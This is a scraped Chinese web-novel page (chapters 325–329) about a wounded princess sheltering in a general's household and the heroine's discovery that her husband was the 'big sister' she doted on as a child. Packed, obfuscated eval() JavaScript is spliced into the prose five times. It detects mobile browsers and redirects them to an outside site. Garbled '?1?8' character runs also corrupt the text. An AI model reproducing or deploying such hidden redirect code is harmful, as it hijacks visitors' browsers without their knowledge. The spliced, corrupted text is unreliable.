;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591183|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在归我了。” 声音清清冷冷的,却带着不容置疑的威严。 小孩儿眼睛都直了,一把接过银子,咧开嘴,露出缺了颗门牙的笑容。 他连连点头,那脑袋,捣蒜似的。 然后,一溜烟儿地跑了,比兔子还快。 茅清兮看着他消失在人群中的背影,嘴角微微一勾。 没猜错,这小子,真往城门那边溜了。 俞霜一看这架势,还有啥不明白的? 他二话不说,跳上马车,熟练地调转马头,朝着澜府的方向,嘚嘚嘚地赶去。 茅清兮呢,则像个好奇宝宝似的,掀开车帘,一闪身,钻进了车厢。 她前脚刚踏进去,一股子浓烈的血腥味,就扑面而来。 这味道……像是谁家放了好几天的死老鼠发烂发臭了。 她强忍着不适,目光一扫,就发现了源头。 明明郡主的小腿上,插着半截断箭。 断箭周围,皮肉外翻,血污模糊。 平韶柔也顾不得端郡主的架子了,疼得龇牙咧嘴。 她看着茅清兮,眼神中带着一丝希冀。 “你……信我?” 她声音发颤。 茅清兮点点头,没多说什么。 有些事,不需要说得太明白。 平韶柔如释重负,紧绷的神经一松,腿上的伤口就更疼了。 她“哎哟”一声,叫了出来。 茅清兮的目光落在那伤口上,语气平静。 “等回了府,再给你处理。” 平韶柔连连道谢,声音都有些变了调。 茅清兮这才开始仔细观察这位落难的郡主。 她身上穿着一件明显不合身的粗布衣裳,像是从哪个乡下丫头身上扒下来的。 脖子和手臂上,沾满了泥土和血迹。 脸上也脏兮萱的,只有几道擦痕,像是想抹掉什么。 浑身上下,更是一件首饰也无。 这哪里是郡主,分明是个逃荒的难民。 但她的眼睛,却依旧明亮。 即使在这种情况下,还能保持着一丝镇定,这份心性,就不是一般人能比的。 “郡主不在云州待着,进京做什么?” 茅清兮开门见山。 “我每年都会来京城小住几日,臧夫人还没听说这事? 第三百二十五章 ?” 平韶柔强忍着疼痛,反问。 茅清兮当然不知道。 她对这些事情,向来不感兴趣。 平韶柔的脸色越来越苍白,但还是强撑着解释。 “安妃是我姑母,我与姑母自幼亲近,每年都会代父王进京探望。” 安妃?茅清兮这才想起宫中还有这么个人物。 平日里低调得很,要不是平韶柔提起,她都快忘了。 “郡主进京,荆南王定会派人护送,怎会……” 茅清兮欲言又止。 平韶柔脸上闪过一丝愤恨。 “不是有人要杀我,是有人要毁我清白!” 她咬牙切齿,每一个字都像是从牙缝里挤出来的。 “快到京城时,我们遇到了‘山匪’。” 她顿了顿,加重了“山匪”两个字的语气。 “那些人,身手矫健,训练有素,绝非寻常山匪。” 她回忆起当时的情景,眼中闪过一丝恐惧。 “他们不仅抢了我们的钱财,还要将我们掳走。我情急之下,用发簪刺伤了拉车的马,马车失控,滚下了一处斜坡。” 说到这里,她停了下来,似乎不愿再回忆那惊魂一刻。 “我和侍女都受了伤。但更让我心惊的是,太子竟然出现了。” 茅清兮心中一动。 太子?他怎么会这么巧出现? 平韶柔眼中闪过一丝嘲讽。 “是啊,太巧了。所以我立刻意识到,这根本不是巧合,而是一个圈套!” 她深吸一口气,努力平复着自己的情绪。 “我不敢现身,只能躲在一旁,看着太子‘救’走了我的侍女。” 茅清兮暗暗点头。 这明明郡主,果然不简单。 若是常人,恐怕早就感激涕零地扑上去了。 但她却能保持冷静,看穿了太子的把戏。 “太子肯定见过你,你的侍女,瞒不了他多久。” 茅清兮提醒道。 “我知道。所以我才借了农家的马车,一路赶来京城。” 平韶柔的语气中,带着一丝无奈。 “郡主既然识破了太子的诡计,为何不直接进城?” 茅清兮不解。 “只要你安然无恙地出现在京城,太子的计划,自然不攻自破。” 只要她出现在众人面前,太子的“英雄救美”就成了一场笑话。 平韶柔的眼神,变得坚定起来。 “我不能那么做。我不能让父王和姑母为难。” 她看着茅清兮,一字一顿地说。 “我进京,本就是为了让姑母替我寻一门亲事。如果这次我能逃过一劫,那下次呢?我总不能一直躲着。” 她顿了顿,语气中带着一丝苦涩。 “太子想娶我,无非是看中了父王的兵权。但皇上,是绝不会允许这种事情发生的。” 大晋的皇帝,对荆南王,一直心存忌惮。 这些年,荆南王谨小慎微,就是为了避免引起皇帝的猜忌。 他把妹妹送进宫,让女儿每年进京,都是为了表明自己的忠心。 但这种平衡,?1?8?1?1?1?0?1?3脆弱。 皇太子看上了荆南王家的千金,无疑是在挑战皇帝的底线。 “所以,他才想出这种下作的手段,想逼我就范。” 平韶柔冷笑一声。 “可惜,他低估了我。” 茅清兮看着平韶柔,心中已经有了计较。 “那你找我,是想让我帮你什么?” 她知道,平韶柔来找她,绝不仅仅是为了倾诉。 这姑娘,心思缜密,每一步,都走得极有目的性。“臧夫人。” 车厢内,明明郡主挣扎着想要坐直身子,小腿处却猛地传来一阵剧痛。 她倒抽一口凉气,脸色煞白,身子一软,又跌回了软垫上。 茅清兮的声音不疾不徐地响起,带着安抚人心的力量: “郡主不必拘礼,眼下你我皆有伤在身,这些虚礼便免了吧。” 明明郡主抬眼,看向茅清兮。 她苍白的脸上,缓缓绽出一个虚弱的笑容,眼神中却带着一丝探究。 “来之前,我还曾好奇,苏将军会娶一位怎样的夫人。” 茅清兮心弦微动,面上却依旧平静无波。 这……难道又是一位与冀容白有瓜葛的女子? 似乎是察觉到了茅清兮的心思,明明郡主急忙摆了摆手,解释道: “臧夫人千万别误会,我与苏将军并无私情,只是幼时有过几面之缘罢了。” 她顿了顿,声音低了下去, “那时苏将军年方八岁,随家父镇远将军一同到云州平乱,曾在云州小住过一段时日。” 镇远将军,便是冀容白的父亲冀徒卫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598008|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今正率兵镇守着大晋的西陲边境。 冀容白竟然随冀徒卫去过云州? 那年他刚满八岁? 茅清兮心头掠过一丝疑惑,某些模糊的记忆碎片,似乎正蠢蠢欲动。 明明郡主见茅清兮若有所思,便继续说道: “实不相瞒,那时我还曾见过青霜将军。可惜年纪太小,许多事情都记不清了。” 她微微偏过头,目光落在茅清兮身上,带着几分小心翼翼。 “我之所以对苏将军记忆犹新,是因为他小时候……生得实在太俊俏了,我甚至一度以为……他是哪家的小姐扮作男装。” 说到最后,她的声音几乎低不可闻,生怕茅清兮听了会动怒。 然而,正是这句无心之言,如同一道惊雷,猛然劈开了茅清兮混沌的记忆。 那些被尘封的往事,如决堤的洪水般,汹涌而来。 她微微张了张嘴,声音有些干涩: “郡主今年……十五有余了吧?若说与苏将军相识,当是十二年前……” 十二年前,她也在云州! 那时冀容白八岁,她五岁,正跟着母亲在云州剿匪。 一个大胆的猜测,在茅清兮心中呼之欲出。 她喉咙发紧,用力咽了口唾沫,声音轻得几乎听不见。 “郡主……可还记得苏将军儿时的模样?或者……他常穿的衣裳?” “唔……我记得,他似乎总穿着一身小兵的衣裳,灰扑扑的。” 明明郡主原本只是随口一提,没想到茅清兮竟会如此追问。 她努力回忆着,眉头紧锁,似乎在竭力搜寻着记忆深处的片段。 “除了长得格外惹眼,我印象最深的,便是他总喜欢在校场边上,看那些兵士们操练。有时,还会偷偷地跟着比划几下。” “小公子,您想学功夫吗?不用看他们,我爹爹可厉害了,我也会些拳脚,不如我教您吧?” “您生得这般好看,我定会倾囊相授。小公子,您想学点什么?” …… “小哥哥,这柄木制长剑就归你了,等咱们都长大了,你可要记得回来找我,我们一起闯荡江湖!” …… 泛黄的记忆碎片,如走马灯般在茅清兮脑海中闪过。 最终,定格在一张稚气未脱却精致无瑕的脸上。 那张脸,既熟悉又陌生,让茅清兮的心脏一阵紧缩,几乎喘不过气来。 第三百二十六章 “臧夫人,您这是……怎么了?” 明明郡主关切的声音,将茅清兮从回忆的漩涡中拉回现实。 “我……没事。” 茅清兮的声音,像是从喉咙深处挤出来的,每一个字都带着颤音。 她的心口,仿佛被一块巨石压住,沉闷得厉害。 各种复杂的情绪交织在一起,她恨不得立刻冲到冀容白面前,将他狠狠地…… 可是,又能如何呢? 她又能做什么? 老天! 当初那个跟在人家屁股后面,一口一个“姐姐”叫得欢快的,是她! 因为对方生得俊美,就成天像条小尾巴似的黏着人家的,也是她! 即便那时的冀容白对她爱答不理,她也乐此不疲,满心欢喜。 在年幼的茅清兮眼中,那只是一个性子有些冷傲的漂亮姐姐。 毕竟,长得好看的人,总是有些特权的。 从小便是颜控的她,就如同当年青霜将军看上了中看不中用的茅文昭一般,对这位“漂亮姐姐”一见倾心。 哪里会想到,对方竟然是个货真价实的男儿! 茅清兮心中又羞又恼,还有一丝难以言说的愤懑。 既然是男子,为何当初冀容白不说? 为何要眼睁睁地看着她像个傻瓜一样,在他面前“姐姐”、“姐姐”地叫个不停? 她不自觉地咬紧了牙关,藏在袖中的手指,微微颤抖。 明明郡主敏锐地捕捉到了茅清兮情绪的起伏。 可茅清兮掩饰得极好,那怒意来得快,去得也快,仿佛只是她的错觉。 “郡主,闲话少叙,还是说说你的打算吧。” 茅清兮强压下翻涌的心绪,语气恢复了一贯的冷静。 明明郡主深吸了一口气,正色道: “我想在澜府暂避一时。如今的京城,能与太子分庭抗礼的,唯有苏将军。” 茅清兮一眼便看穿了她话中的玄机,直言不讳道: “只怕,郡主所求,并非仅仅是‘暂避’吧?” 明明郡主沉默了片刻,语气中带着一丝试探: “若我说……希望夫人能对外宣称,是您‘救’了我呢?” 茅清兮唇角微勾,露出一抹意味深长的笑容: “这才是郡主真正的目的吧?若我将你带回澜府,不出几日,京城上下便会传遍,是我茅清兮救了明明郡主。只是……郡主当真以为,自己是一个人回来的?” 明明郡主眼神闪烁,最终还是无法隐瞒,只得坦白道: “我身后……还有两名暗卫,一路护送。” 她骗不过茅清兮,更无法在她面前耍心机。 早在得知那场所谓的“盗匪劫掠”乃是太子一手策划时,她便已下定决心。 她让暗卫护送自己离开险境,一路快马加鞭赶回京城。 太子既然敢对她下手,那整个京城,唯有澜府能让太子有所忌惮。 原本,她就打算先混进澜府,再让暗卫将“明明郡主被臧夫人所救”的消息散布出去。 如此一来,太子便不敢明目张胆地到澜府要人。 她不过是想借澜府,借冀容白的名头震慑太子,并没有其他非分之想。 可如今,被茅清兮当面戳穿,她也只能和盘托出。 “你想入澜府,并非不可,只是……”茅清兮话锋一转,“须得依我之计行事。” “什么计策?”明明郡主追问道。 “你只管安心在府中住下,我自有办法,让太子无法得知你的行踪。他寻不到你,必然心急如焚,暗中搜寻。而我们……”茅清兮顿了顿,眼中闪过一抹狡黠的光芒,“只需在他焦头烂额之际,稍加引导,推波助澜一番。” 明明郡主望着茅清兮那抹神秘莫测的笑容,心中莫名升起一股不祥的预感。 她总觉得,茅清兮要让她做的,是一件极其危险的事情。 可如今,她已然上了茅清兮这条船,再想回头,已是万万不能了。紫姨替明明郡主拔箭的时候,她疼得五官都扭在了一起,额头青筋暴起,却还是紧紧咬着牙关,硬生生忍着,一声没吭。 箭头拔出,血一下涌了出来。紫姨眼疾手快地点了明明郡主腿上的穴道,帮她止血。 处理完伤口,饶是见惯了血腥场面的紫姨,也不禁对这位娇生惯养的郡主刮目相看。 茅清兮站在一旁,看着紫姨细致地给明明郡主包扎伤口。她垂眸看着明明郡主,开口道: “郡主安心在澜府住下。待时机合适,我会让你重新出现在众人面前。” 她顿了顿,眼神扫过明明郡主身后空无一人的角落: “至于那两位暗卫,可留在府中,也好护你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598009|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周全。” “臧夫人放心。” 明明郡主抬起头,打断了她的话,眼神里没有丝毫玩笑的意思,语气诚恳: “我一定会安分守己地呆在府邸之中,哪儿也不去。我的暗卫,也会留下。” “如此甚好。” 茅清兮微微颔首,收回了视线, “你且安心养伤。” 安顿好明明郡主,茅清兮转身回了内室。 冀容白还没下值。 最近江南水患,冀容白被调任户部后,更是忙得脚不沾地,经常一整天都泡在衙门里。 内室里,烛火轻轻跳动,映照着茅清兮清冷的侧脸。她手里拿着一本医书,眼神却有些飘忽。 平日里总是锐利如鹰隼般的眸子,此刻却少见地流露出一丝茫然。 书页停留在某一页,很久没有翻动。 绿绿进来了好几次,每次都看见茅清兮保持着同样的姿势,似乎陷入了沉思。 “夫人这是怎么了?莫不是身子不适?” 绿绿把手里的热茶轻轻放到桌上,关切地问。 “无事。” 茅清兮摇了摇头,把医书放到了一边。 “将军今晚可说何时回来?” “将军今晨离开前交代,他晚上可能会回来得晚些,让夫人不用等他用膳。”绿绿答道。 茅清兮没再说话。 她起身走到院子里,从兵器架上取下了自己的青锋枪。 冰凉的枪杆握在手中,传来一阵久违的触感。 这杆枪,曾随青霜将军征战沙场,饱饮敌血。 如今,却只能静静地待在这深宅之中,光芒黯淡。 茅清兮闭上眼睛,仿佛还能感受到枪身上残留的肃杀之气。 她深吸一口气,猛地睁开眼睛,开始练枪。 一套枪法练完,已是月上中天。 冀容白终于回府了。 茅清兮听到熟悉的脚步声,手腕一翻,将青锋枪稳稳地握在手中。 她想起自己初见冀容白时,一声声唤他“姐姐”的场景,脸上不由得闪过一丝懊恼。 那张脸,俊美依旧,却更多了几分凌厉。 月光下,他缓步走来,衣袂飘飘,宛如谪仙。 他唇边带着笑,眼中是温柔的月色。 茅清兮却觉得刺眼。 第三百二十七章 她曾经竟然会将这样一个人,认成女子…… “娘子,这么晚了还在院子里?” 冀容白走到她面前,声音低沉而温柔,带着一丝关切。 茅清兮没回答,只是冷冷地看着他。 她突然开口,声音清冷如月: “俞霜,把我的三寒霜拿过来。” 俞霜从屋顶上跳下来,一言不发地进了屋,很快就拿着一把剑出来了。 茅清兮示意他将剑交给冀容白。 冀容白接过剑,脸上的笑容淡了几分,他隐约感觉到茅清兮的情绪有些不对。 “这是作何?”他问。 茅清兮没有回答,只是挽了个枪花。 枪尖在月光下划过一道冷冽的弧线。 “比试。” 她言简意赅。 冀容白看着她冷若冰霜的脸,心里有些发憷。 “此时?”他指了指天色。 “怎么,明大人怕了?”茅清兮挑眉。 “怕倒不至于,”冀容白笑了笑,“只是觉得,有些事,比比试更重要。” “比如?”茅清兮的语气里带着一丝嘲讽。 “比如……”冀容白顿了顿,忽然凑近她,压低声音道,“玄月门门主的‘本事’,可不止在武功上。” 茅清兮的脸“腾”地一下红了。 她狠狠地瞪了冀容白一眼,手中的青锋枪毫不留情地刺了过去。 冀容白侧身躲过,笑着接下了她的攻击。 两人你来我往,打得难解难分。 俞霜和富峻站在屋顶上观战。 富峻看得目瞪口呆。 他从未见过自家主子和人动手。 更没见过有人能和自家主子打成平手。 “俞霜大哥,你说……谁会赢?” 富峻忍不住问。 俞霜瞥了他一眼,没有回答,只是淡淡地说了句: “看着就是。” 富峻似懂非懂地点了点头,继续观战。 他发现,自家主子的剑法,似乎有些……温柔? 不像是在比试,倒像是在……逗夫人玩? 茅清兮的枪法越来越快,招式也越来越凌厉。 冀容白却始终不紧不慢,游刃有余地化解着她的攻势。 他手中的剑,仿佛没有了锋芒,只是轻柔地格挡、拨开,不与茅清兮的枪正面交锋。 茅清兮越打越气。 她感觉自己像是一拳打在了棉花上,有力无处使。 突然,她手腕一抖,枪尖划向冀容白的脸颊。 冀容白微微侧身,避开了这一击。 但一缕头发,还是被枪尖削断,飘落在地。 “明大人这是让着我?” 茅清兮冷冷地开口。 冀容白看着那缕落发,无奈地笑了笑。 他知道,自己再不认真,恐怕是哄不好这位小祖宗了。 他收敛了笑容,眼神变得锐利起来。 手中的剑,也终于露出了锋芒。 两人再次交手,这一次,冀容白不再留手。 他的剑法凌厉而迅捷,如疾风骤雨般,让人眼花缭乱。 茅清兮也使出了全力,银枪挥舞,如蛟龙出海,气势逼人。 两人打得难分难解,一时之间,竟是看不出谁胜谁负。 富峻看得紧张极了。 他紧紧地攥着拳头,手心里全是汗。 “俞霜大哥,你说……主子不会输吧?” 俞霜没有回答他,只是淡淡地说了句: “你家主子心里有数。” 富峻似懂非懂地点了点头。 他看着院子里那两道身影,忽然觉得,自家主子和夫人,似乎……很般配? 就在这时,场上的局势忽然发生了变化。 冀容白一个虚招,骗过了茅清兮。 他手中的剑,以一个不可思议的角度,刺向了茅清兮的空门。 茅清兮反应极快,立刻回枪格挡。 但还是晚了一步。 剑尖,已经抵在了她的胸口。 胜负已分。 富峻惊呼一声,差点从屋顶上掉下去。 俞霜却是一脸平静,似乎早就料到了这个结果。 “你输了。”冀容白看着茅清兮,轻声说道。 茅清兮瞪了他一眼,没有说话。 她知道,自己确实是输了。 但她不服气。 “再来!”她咬着牙说道。 冀容白笑着摇了摇头。 他收回了剑,轻轻地在茅清兮的鼻尖上刮了一下。 “不来了,再打下去,天都亮了。” 他顿了顿,又补充了一句: “而且,我怕伤了你。” 茅清兮的脸,更红了。“你赢了。” 冀容白收势,气息微有起伏,唇边却勾起一抹浅笑。 他看着茅清兮,墨玉般的眸子里闪过一丝赞赏,也有一丝不易察觉的……心疼? 茅清兮手中银枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601038|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻颤,挑开了他的“三寒霜”,却抿紧了唇,显然赢得并不痛快。 她微微仰起头,清冷的月光洒在她精致的脸上,更衬得她下颌线条紧绷: “你没尽全力。” 冀容白抬手,轻轻按了按被震得发麻的虎口,唇角的弧度更深了些: “娘子,我还没用晚膳。” 他声音低沉,带着一丝不易察觉的沙哑,像是情人间的耳语,却又带着几分若有似无的……撒娇? “饿得厉害,实在没力气与你打了。” 茅清兮收回银枪,转身朝屋内走去,背影挺得笔直,只留给冀容白一个清冷的轮廓。 “绿绿。” 她进屋前,脚步未停,只淡淡吩咐了一句: “让厨房备膳。” “是,夫人。” 绿绿极有眼色地应下,连忙转身小跑着去了。 冀容白独自站在院中,看着茅清兮的背影消失在门后,无奈地摇了摇头。 他微微仰起头,深吸一口气,将从清晨到此刻发生的种种在脑海中过了一遍,试图找出茅清兮?1?3?1?8?1?8?1?4生气的缘由。 可以确定的是,他绝对没有做什么过分的事情。 或许……有? 他想起今早,还想按着她多来几次,温存一番。 可结果呢?还不是被她以“疲累”为由,毫不留情地踹下了床? 想到这,冀容白忍不住在心里轻叹,果然,女人心,海底针。 他百思不得其解,只得慢悠悠地踱进屋内。 刚一进门,便闻到一阵饭菜的香气。 茅清兮已经坐在桌边,面前摆着一盏琉璃宫灯,灯火摇曳,映得她侧脸忽明忽暗,看不出喜怒。 冀容白在她对面坐下,暗自挑了挑眉,却也没有主动开口。 “我今日在街上,遇见了明明郡主。” 片刻的沉默后,茅清兮率先开口,语气平淡得像是在谈论天气。 她将今日如何“偶遇”明明郡主,又如何将她带回府中的事情,简明扼要地告诉了冀容白。 讲述的过程中,她神色如常,仿佛昨夜的恼怒只是冀容白一个人的错觉。 冀容白只“嗯”了一声,示意自己在听,并未打断她。 “明明郡主是安妃的侄女,”茅清兮顿了顿,补充道,“她暂住府上的事,你派人知会安妃一声。” “好,交给我。” 冀容白依旧言简意赅。 “安妃和你… 第三百二十八章 …”茅清兮抬眸,眼中闪过一丝探究,“你们关系匪浅?” “我和安妃,不过是各取所需罢了。” 冀容白淡淡地解释,语气中听不出任何情绪波动。 他抬起眼,看向茅清兮,目光坦荡: “她需要助力,我需要消息,仅此而已。” 茅清兮轻轻颔首,若有所思。 荆南王地位特殊,不会轻易参与夺嫡之争。 安妃在后宫举目无亲,与冀容白合作,倒也在情理之中。 只是,想借此控制荆南王,只怕是痴人说梦。 两人谈过此事,便都不再说话,屋内只剩下碗筷轻微碰撞的声音。 茅清兮低头专心用膳,似乎并不想再多谈。 冀容白抬眸看了她一眼,试图从她脸上看出些什么,却终究是徒劳。 夜幕降临,内室。 茅清兮沐浴过后,换上了一身柔软的丝绸寝衣,长发如瀑般披散在肩头,散发着淡淡的清香。 她走到床边,正欲歇息。 “娘子若是觉得闷,不妨去找明明郡主说说话。” 冀容白忽然开口,打破了一室的静谧。 他靠坐在床头,手中拿着一本书,却并没有翻阅。 “云州风土人情,与京城大不相同,娘子若有兴趣,可以向她请教一二。” “不必了。” 茅清兮语气冷淡,听不出任何情绪。 她掀开被子,在床的外侧躺下,背对着冀容白。 冀容白放下手中的书,揉了揉隐隐作痛的手腕,若有所思: “云州……我倒是未曾去过,不知是何等风光。” 茅清兮猛地转过身,眉梢一挑,目光如炬,直视着冀容白: “你没去过?” 她语气中带着一丝质问,一丝难以置信。 冀容白沉默片刻,忽然轻笑出声,笑声中带着几分无奈,几分自嘲,还有几分……心虚? 他侧过身,支起手臂,修长的手指轻轻绕上茅清兮耳边的一缕发丝,把玩着: “原来娘子一整日,竟是在为了这个生气?” 他顿了顿,语气中带着一丝恍然,也有一丝不易察觉的……窃喜? “娘子,你可是……都想起来了?” “冀容白!” 茅清兮一把扯回自己的头发,咬牙切齿地瞪着他,只觉得脸上阵阵发烫,羞愤、恼怒,还有一种说不清道不明的情绪在心头翻涌。 她强压下心头的异样,质问道: “你……你一直都知道是我?那你当初,为何不告诉我你的身份?看我傻乎乎地叫你‘姐姐’,很好玩吗?!” 冀容白眼神飘忽,不敢与她对视,声音也低了几分: “我……我只是……” 他支支吾吾,半天也说不出一句完整的话。 被人当成女子,这种事说出去总归是不太光彩。 尤其还是被自己心爱的女子…… 更何况,那时他年少轻狂,行事不羁,为了隐藏身份,的确做了不少…… 冀容白不敢再想下去,那些“黑历史”,他宁愿茅清兮永远都想不起来。 “只是什么?!” 茅清兮猛地坐起身,双手环胸,一副“你今日不给我说清楚就别想睡觉”的架势。 “我叫你‘姐姐’的时候,你为什么不解释?!” 她觉得自己真是丢人丢到姥姥家了。 竟然追着一个男子喊了那么久的“姐姐”! 这简直比她当年女扮男装混进军营还要让人难以接受! 这就算了,事情过去这么多年,她本也记不清多少细节了。 可现在,冀容白却告诉她,当年她心心念念的那个“姐姐”,竟然就是她现在的夫君? 茅清兮只觉得一阵天旋地转,恨不得找个地缝钻进去。 这种比话本还要离奇的事情,怎么会发生在她的身上?! 冀容白看着她气鼓鼓的模样,只觉得她像一只炸毛的小猫,可爱得紧。 他忍不住伸手捏了捏她气鼓鼓的脸颊,试图解释: “那时年少,情况特殊……我,我总不能逢人便说,‘我是男子,不是女子’吧?” 当然,这只是其中一个原因。 更重要的原因是,他那时觉得……逗弄她挺有趣的。 只是这话,他可不敢说出来。 茅清兮听了他的解释,却依旧不依不饶,显然还在生气。 冀容白见状,忽然伸手将她拉入怀中,紧紧抱住。 茅清兮猝不及防,惊呼一声,跌入他温暖的怀抱。 他顺势低头,吻上她的唇,带着几分安抚,几分温柔,还有几分……霸道? 茅清兮瞪大了眼睛,她还在气头上! 可冀容白的吻,却像是一阵温柔的春风,轻易便吹散了她心头的怒火,让她不由自主地沉溺其中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601039|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>良久,唇分。 两人之间的气氛,也变得微妙起来。 这件事,两人争执了几句,便都默契地不再提起。 茅清兮觉得丢脸,冀容白也觉得……嗯,有些尴尬。 于是,两人心照不宣地将这段“黑历史”暂时封存。 第二日清晨,冀容白起身更衣,准备上朝。 “江南水患提前,只怕是有人在背后推波助澜。” 他一边整理着衣襟,一边说道,语气中带着一丝凝重。 茅清兮从床上坐起来,揉了揉惺忪的睡眼: “朝廷打算如何应对?” “多半是要派人南下治水。” 冀容白系好腰带,走到床边,看着她: “我可能要随行。” “治水?” 茅清兮有些惊讶,“这种事,不是应该由工部负责吗?怎么会让你去?” “不过是走个过场罢了。” 冀容白淡淡一笑,笑容中带着几分无奈,几分自嘲。 “圣上的心思,你还不明白?” 他顿了顿,语气中多了几分深意: “无非是想借此机会,让我……积攒些名望。” “原来如此。” 茅清兮瞬间明白了过来。 “那太子和宁王那边……” “兵部已经派人先行一步了,这可是个肥差,他们岂会轻易放过?” 冀容白冷笑一声,眼中闪过一丝不屑。 “至于贤王……” 他语气一顿,似乎有些迟疑。 “贤王自上次**后,便一直称病不出,只怕是……另有打算。” 茅清兮心中一动,想起那次惊心动魄的刺杀,至今仍心有余悸。 明面上,刑部和大理寺一直在追查凶手,却始终没有结果。 暗地里,锦衣卫也一直在调查,却也毫无头绪。 “青鸾阁那边……” 茅清兮欲言又止。 “青鸾阁闭阁已久,恐怕也难以置身事外。” 冀容白替她说了出来。 他走到门边,又转过身,俯身在茅清兮眉心落下一吻,声音低沉而温柔: “想吃什么?我下朝回来,给你带。” 茅清兮抬眸看他,眼中闪过一丝笑意,昨夜的那些不快早已烟消云散。 “祥记的点心吧。” 她轻声说道,声音中带着几分期待。 第三百二十九章 冀容白笑着点点头,转身离开了。 茅清兮看着他的背影,心中一片柔软。 昨夜的事,与其说是争吵,不如说是……打情骂俏? 她从未见过真正的夫妻是如何相处的,但她觉得,她和冀容白这样,也挺好的。 至于府里的其他人…… 恐怕早已习惯了他们这种“独特的相处模式”。 紫姨起初还会担心他们会闹出什么矛盾,时不时地过来劝解几句。 可后来,她发现这两人和好的速度比翻书还快,根本不需要她操心。 于是,紫姨便也乐得清闲,不再管他们“小两口”的事了。 甚至,她还隐隐觉得,这两人之间的“小打小闹”,反倒增添了几分情趣。 毕竟,这世间哪有不吵架的夫妻? 只要两人心中有彼此,床头吵架床尾和,便也算不得什么大事。 更何况,冀容白又是个极会哄人的,三言两语,便能让茅清兮的心情由阴转晴。 就像春日里的阳光,温暖而和煦,能够融化一切冰雪。长公主的生辰宴,今年非比寻常。 茅清兮备了份精心挑选的贺礼,早早地便到了长公主府。 她到的时候,日头还未完全升起,带着清晨特有的凉意。 原以为自己已是来得极早,没想到刚踏进门,就看到长公主已然端坐,正与几位诰命夫人闲话家常,厅内笑语晏晏,好不热闹。 “哟,清兮来了?快过来坐。” 长公主耳聪目明,余光一扫,便在人群中捕捉到了她的身影。 声音里带着掩饰不住的笑意,朝她招了招手。 茅清兮缓步上前,盈盈一拜,举止间尽显世家风范。 长公主亲昵地执起她的手,嗔怪道: “今儿这宴席,人多且杂,清韵那丫头又是个不省心的。你得空帮我多瞧着些,看看有没有哪家的公子,能入得了她的眼。” 清韵公主? 茅清兮顺着长公主的目光望去,心中了然。 今日的清韵,与平日里的装束截然不同。 平日里总是一身劲装,头发也随意束起,英姿飒爽。 今天却是一袭藕粉色的曳地长裙,裙摆上绣着栩栩如生的并蒂莲,用的是苏绣中最难的双面绣,随着她的步伐轻轻摇曳,更衬得她身姿婀娜,娇艳欲滴。 发髻也梳得格外精致,斜插一支赤金镶红宝的步摇,走动间,流光溢彩。 这身装扮,若能让她安静站着,倒真有几分闺阁千金的温婉娴静。 只可惜,她那双灵动的眸子,早已出卖了她。 果不其然,清韵公主察觉到茅清兮的视线,立刻做出一副苦瓜脸,悄悄翻了个白眼,嘴唇微动,用口型无声抱怨: “活像个摆在架子上的花瓶,供人观赏。” 话音未落,后脑勺便挨了长公主一记不轻不重的“爆栗”。 “嘶……”清韵公主吃痛,倒吸一口凉气。 长公主凤目一瞪,声音压得极低,却透着不容置疑的威严: 